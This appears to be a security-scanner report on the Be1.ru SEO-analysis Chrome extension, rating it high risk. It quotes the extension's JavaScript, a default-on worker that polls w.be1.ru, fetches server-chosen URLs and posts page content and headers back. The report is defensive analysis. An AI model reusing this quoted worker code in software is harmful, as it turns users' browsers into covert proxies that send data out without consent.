Is SEO-анализ сайта от Be1.ru safe?

High risk

SEO-анализ сайта от Be1.ru fetches server-selected URLs and sends response content and headers to w.be1.ru.

The extension enables a background task worker by default that polls w.be1.ru for instructions. Those instructions can tell it to fetch URLs using its broad host permissions, then report the fetched URL, status, page content, and optionally headers back to w.be1.ru.

Be1.ruv1.9.25Chrome Web Store
74Risk
Who publishes it

Be1.ru - no other listings under this identity

What this publisher told the store about itself, and the other listings that told it the same thing.

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Be1.ru Worker Fetches Server-Selected URLs

The extension's background sharing worker is enabled by default.

Source shows it polls w.be1.ru for tasks, can fetch a server-given URL under its broad host permissions, and posts the response URL, status, headers, and content back.

Severity
High unwanted
Type
Unexpected
CWE
CWE-506
Source
Dynamic sandbox
What actually happens
You did this

You install the extension and leave its default settings in place.

The default configuration sets the sharing worker to enabled before any saved settings are merged.

The extension did this

The extension worker polls Be1.ru for tasks and can fetch a URL selected by that server.

For task types 3 and 7, it returns the fetched response metadata and content to Be1.ru.

When this fires

Every 1 second

The worker waits one second by default, then keeps polling for another task after each response or error.

Captured request
GEThttp://w.be1.ru/task/get?v=e.1.9.25

A JSON response can set delay, host, worker id, and a task object for the extension to execute.

Fields the worker can send back in a task result
  • Task id
    1

    Links the returned result to the server-supplied instruction that caused it.

  • Task type
    3

    Shows which worker behavior was used to fetch the page or follow a checked result.

  • Requested URL
    https://example.com/

    Shows the web address the extension was told to request from your browser environment.

  • Response status and final URL
    200 OK, https://example.com/

    Shows whether the requested page loaded and where redirects ended.

  • Response headers
    content-type: text/html; charset=UTF-8

    Can include server metadata returned by the requested site when the task asks for headers.

  • Response body
    <html><body>Example Domain</body></html>

    Contains the page content returned to the extension for the server-selected URL.

Captured request
POSThttp://w.be1.ru/task/save-result

The code posts the task result to this endpoint after task_3 or task_7 finishes; no captured request body was available to quote verbatim.

The code that does this

The worker defaults on, polls Be1.ru, fetches supplied URLs, and posts results

Readable version

Default configuration enables the task worker

background/functions.js
function getConfig(callback) {    chrome.storage.local.get('config', function (result) {        // 1. by default        var config = {            analyze: 'site',            iks_badge: true,            wordstat_assistant: true,            share_statistic: true,            bookmarklets: [                'antiplagiat',                'google_page_speed',                'google_mobile_friendly',                'robots_txt',                'sitemap_xml',                'poddomeni_saita',                'vfacen',                'yandex_site_search',            ],        };        // 2. replace default values with our config (if was saved before)        if (result.config != undefined) {            for (let key in result.config) {                config[key] = result.config[key];            }        }        // 3. return current config        callback(config);    });}

The worker polls Be1.ru for tasks

background/worker.js
    waitForTask: function () {        if (Worker.watchTimeout) {            clearTimeout(Worker.watchTimeout);            Worker.watchTimeout = 0;        }        setTimeout(function () {            getConfig(function (config) {                if (config.share_statistic) {                    Worker.lastRequest = parseInt(Date.now() / 1000);                    fetch(                        "http://" + Worker.host + "/task/get?" + Worker.getQueryString()                    ).then(response => response.json()).then(function (json) {                        if (json.delay) Worker.delay = json.delay;                        if (json.host) Worker.host = json.host;                        if (json.wid) Worker.id = json.wid;                        if (json.task != null) {                            Worker.watch();                            Worker.executeTask(json.task);                        }                        else                            Worker.waitForTask();                    }).catch((error) => {                        //console.error("Error:", error);                        Worker.waitForTask();                    });                } else {                    Worker.waitForTask();                }            })        }, Worker.delay);    },

Task results are posted back to Be1.ru

background/worker.js
    executeTask: function (task) {        //console.log("start", task)        function executeTask_callback(result) {            var complete = result === false ? 0 : 1;            fetch(                "http://" +                Worker.host +                "/task/save-result?" +                Worker.getQueryString({ tid: task.id, complete, time: new Date().getTime(), ind: Worker.rr++ }),                {                    method: "POST",                    body: JSON.stringify({                        id: task.id,                        type_id: task.main_type_id ? task.main_type_id : task.type_id,                        arguments: task.arguments,                        result: result                    }),                }            ).then(response => {                //response.json().then((data) => {                //    console.log("Success:", data);                //})                Worker.waitForTask();            }).catch((error) => {                //console.error("Error:", error);                Worker.waitForTask();            });        }        var taskFunc = "task_" + task.type_id;        if (Worker[taskFunc]) {            Worker[taskFunc](task.arguments, executeTask_callback, task);        } else {            Worker.waitForTask();        }    },

Server-selected URLs are fetched and returned

background/worker.js
    task_7: function (args, callback, task) {        let start_time = new Date().getTime();        fetch(args.url).then(async function (xhr) {            let result = {                status: xhr.status,                statusText: xhr.statusText,                time: xhr.time,                url: xhr.url,                content: null,            };            // result  => error_page, new_url, OK            var checks = [];            if (!task.check || !Array.isArray(task.check)) {                task.check = [];            }            var add_type = "start";            if (task.check_add) {                add_type = task.check_add;            }            switch (add_type) {                case "end":                    Array.prototype.push.apply(checks, task.check);                    checks = checks;                    break;                case "del":                    checks = [];                    break;                case "replace": checks = task.check;                    break;                case "start":                default:                    Array.prototype.push.apply(task.check, checks);                    checks = task.check;                    break;            }            var content = await xhr.text();            var url = false;            var action = "OK";            checks.every((t) => {                try {                    var sourcestring = (t.content == "url") ? xhr.url : content;                    var re = new RegExp(t.re);                    var matches = re.exec(sourcestring);                    if (matches) {                        switch (t.result) {                            case "new_url":                                url = matches.groups.url;                                t.postprocess.split(',').forEach((k) => {                                    if (k == "decodeXml")                                        url = Worker.decodeXml(url);                                    else if (k == "decodeEscapeSequence")                                        url = url.decodeEscapeSequence();                                })                                if (url.startsWith("/")) {                                    var or = new URL(xhr.url);                                    url = or.origin + url;                                }                                action = "new_url";                                break;                            case "error_page":                                action = "error_page";                                break;                            default:                                break;                        }                        return false;                    }                }                catch (err) {                    //console.log(err)                }; return true;            });            try {                switch (action) {                    case "new_url":                        args.url = url;                        return Worker.task_7(args, callback);                    case "error_page":                        return callback(false);                }                result.headers = {};                for (let entry of xhr.headers.entries()) {                    result.headers[entry[0]] = entry[1];                }                result.url = xhr.url;                result.time = new Date().getTime() - start_time;                result.content = content;                return callback(result);            }            catch (err) {            };        }).catch((err) => {            return callback(false);        });    },    /* REGISTERED TASKS */    /* ----------------------------------- */    task_3: function (args, callback) {        let start_time = new Date().getTime();        let result = false;        try {            fetch(args.url)                .then((xhr) => {                    let result = {                        status: xhr.status,                        statusText: xhr.statusText,                        time: xhr.time,                        url: xhr.responseURL,                        content: null,                    };                    if (args.responseHeaders) {                        result.headers = {};                        for (let entry of xhr.headers.entries()) {                            result.headers[entry[0]] = entry[1];                        }                    }                    result.url = xhr.url;                    result.time = new Date().getTime() - start_time;                    if (args.statusOnly) {                        result.content = null;                        return callback(result);                    } else                        xhr.text().then((t) => {                            result.content = t;                            return callback(result);                        });                })                .catch((err) => {                    return callback(false);                });        } catch (error) {            return callback(false);        }    },
External hosts involved in the worker path
    • w.be1.ru

    Receives task polls and task result posts from the extension worker.

    • be1.ru

    Publisher domain named by the extension and used by other Be1.ru extension features.

What it can do

Permissions this extension asks for, as declared in version 1.9.25. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on every site you visit

    *://*/*

  • See the address and title of every tab you have open

    tabs

  • Store data in your browser

    storage

  • Watch every request your browser makes

    webRequest

Where it sends data

Destinations our analysis observed Be1.ru contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • w.be1.ru

    Be1.ru sends data to w.be1.ru. No other extension we have analysed sends data here.

Updated 30 September 2026hgoppfmeamohhpdlgmbondkfcijhklbo